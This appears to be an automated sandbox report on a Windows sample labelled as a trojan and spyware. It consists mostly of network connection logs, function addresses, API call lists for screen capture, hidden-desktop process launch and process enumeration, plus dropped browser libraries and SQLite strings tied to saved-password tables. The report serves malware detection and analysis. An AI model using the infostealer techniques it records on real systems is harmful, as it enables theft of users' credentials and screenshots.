Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49761 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_004243F0 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_004243F0

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_00409770 memset,memset,lstrcatA,lstrcatA,lstrcatA,memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,SHGetFolderPathA,lstrcpy,StrStrA,lstrcpyn,lstrlenA,wsprintfA,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

2_2_00409770

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00031000	0_2_00031000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00057820	0_2_00057820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0004C080	0_2_0004C080
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000448F0	0_2_000448F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00035930	0_2_00035930
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003B944	0_2_0003B944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00054150	0_2_00054150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00042AC7	0_2_00042AC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00046310	0_2_00046310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00057310	0_2_00057310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0004F320	0_2_0004F320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003A34B	0_2_0003A34B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00049B60	0_2_00049B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00047BB0	0_2_00047BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00043420	0_2_00043420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0004D480	0_2_0004D480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00044CA0	0_2_00044CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00054CB0	0_2_00054CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00056CB0	0_2_00056CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00035540	0_2_00035540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000455D0	0_2_000455D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00065E02	0_2_00065E02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0004DE50	0_2_0004DE50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00033E60	0_2_00033E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00045F40	0_2_00045F40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00043F60	0_2_00043F60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000567E0	0_2_000567E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00031000	2_2_00031000
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00057820	2_2_00057820
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0004C080	2_2_0004C080
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000448F0	2_2_000448F0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00035930	2_2_00035930
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00054150	2_2_00054150
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003A160	2_2_0003A160
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00040170	2_2_00040170
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00042A80	2_2_00042A80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00046310	2_2_00046310
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00057310	2_2_00057310
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0004F320	2_2_0004F320
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00049B60	2_2_00049B60
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00047BB0	2_2_00047BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00043420	2_2_00043420
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0004D480	2_2_0004D480
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00044CA0	2_2_00044CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00054CB0	2_2_00054CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00056CB0	2_2_00056CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00035540	2_2_00035540
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000455D0	2_2_000455D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00065E02	2_2_00065E02
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0004DE50	2_2_0004DE50
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00033E60	2_2_00033E60
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00045F40	2_2_00045F40
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00043F60	2_2_00043F60
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000567E0	2_2_000567E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00424AC0	2_2_00424AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C44AC60	2_2_6C44AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C506C00	2_2_6C506C00
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C51AC30	2_2_6C51AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C43ECC0	2_2_6C43ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C49ECD0	2_2_6C49ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C56AD50	2_2_6C56AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C50ED70	2_2_6C50ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C5C8D20	2_2_6C5C8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C5CCDC0	2_2_6C5CCDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4D6D90	2_2_6C4D6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C444DB0	2_2_6C444DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4DEE70	2_2_6C4DEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C520E20	2_2_6C520E20
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C44AEC0	2_2_6C44AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4E0EC0	2_2_6C4E0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4C6E90	2_2_6C4C6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4AEF40	2_2_6C4AEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C502F70	2_2_6C502F70
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C446F10	2_2_6C446F10
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C580F20	2_2_6C580F20
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C51EFF0	2_2_6C51EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C440FE0	2_2_6C440FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C588FB0	2_2_6C588FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C44EFB0	2_2_6C44EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C514840	2_2_6C514840
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C490820	2_2_6C490820
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4CA820	2_2_6C4CA820
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C5468E0	2_2_6C5468E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C478960	2_2_6C478960
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C496900	2_2_6C496900
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C55C9E0	2_2_6C55C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4749F0	2_2_6C4749F0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C5009B0	2_2_6C5009B0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4D09A0	2_2_6C4D09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4FA9A0	2_2_6C4FA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4BCA70	2_2_6C4BCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4EEA00	2_2_6C4EEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4F8A30	2_2_6C4F8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4BEA80	2_2_6C4BEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C546BE0	2_2_6C546BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C448BAC	2_2_6C448BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4E0BA0	2_2_6C4E0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C458460	2_2_6C458460
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4A4420	2_2_6C4A4420
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4CA430	2_2_6C4CA430
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4864D0	2_2_6C4864D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4DA4D0	2_2_6C4DA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C56A480	2_2_6C56A480
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C588550	2_2_6C588550
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C498540	2_2_6C498540
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C544540	2_2_6C544540
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4A2560	2_2_6C4A2560
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4E0570	2_2_6C4E0570
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C50A5E0	2_2_6C50A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4CE5F0	2_2_6C4CE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4345B0	2_2_6C4345B0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C49C650	2_2_6C49C650
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4646D0	2_2_6C4646D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C49E6E0	2_2_6C49E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4DE6E0	2_2_6C4DE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4C0700	2_2_6C4C0700
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C46A7D0	2_2_6C46A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C48E070	2_2_6C48E070
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C508010	2_2_6C508010
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C50C000	2_2_6C50C000
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C438090	2_2_6C438090
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C51C0B0	2_2_6C51C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4500B0	2_2_6C4500B0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4A8140	2_2_6C4A8140
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C524130	2_2_6C524130
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4B6130	2_2_6C4B6130
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4401E0	2_2_6C4401E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C5961B0	2_2_6C5961B0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4D8250	2_2_6C4D8250
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4C8260	2_2_6C4C8260
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C50A210	2_2_6C50A210
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C518220	2_2_6C518220

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C469B10 appears 45 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5C09D0 appears 196 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5CD930 appears 37 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00404A60 appears 317 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0005CAD8 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5CDAE0 appears 46 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00059870 appears 61 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C463620 appears 52 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000002.00000002.2343755528.000000006F922000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000002.00000002.2343337674.000000006C615000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .coS ZLIB complexity 1.0003309688807531

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@20/32@2/5

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_00424820 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle,

2_2_00424820

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_0041CCD0 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

2_2_0041CCD0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\LSQ9NPRK.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000002.00000003.1859505347.000000002346C000.00000004.00000020.00020000.00000000.sdmp, AAEBAKKJKKEBKFIDBFBA.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
